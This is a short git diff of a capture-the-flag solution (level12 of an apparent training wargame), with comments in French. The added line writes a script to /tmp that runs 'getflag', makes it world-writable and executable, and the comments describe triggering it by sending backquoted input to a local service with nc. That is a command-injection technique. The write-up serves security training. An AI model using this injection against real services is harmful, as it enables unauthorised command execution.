diff --git a/level12/Ressources/solution b/level12/Ressources/solution index da2af1f..e03b84f 100644 --- a/level12/Ressources/solution +++ b/level12/Ressources/solution @@ -8,11 +8,13 @@ # On ne poura donc pas executer de comande en tant que tel. # mais on peut executer un fichier -# Dans un fichier /tmp/.TOTO ont va mettre le contenu suivant: +# Dans un fichier /tmp/.TOTO avec les droit en execution ont va mettre le contenu suivant: #!/bin/sh getflag > /tmp/.flag12 +$ echo -e '#!/bin/sh \x0a getflag > /tmp/.flag12' > /tmp/.TOTO && chmod 777 /tmp/.TOTO + # puis on envoie un requet avec des back-quote pour executer le fichier $ nc -v localhost 4646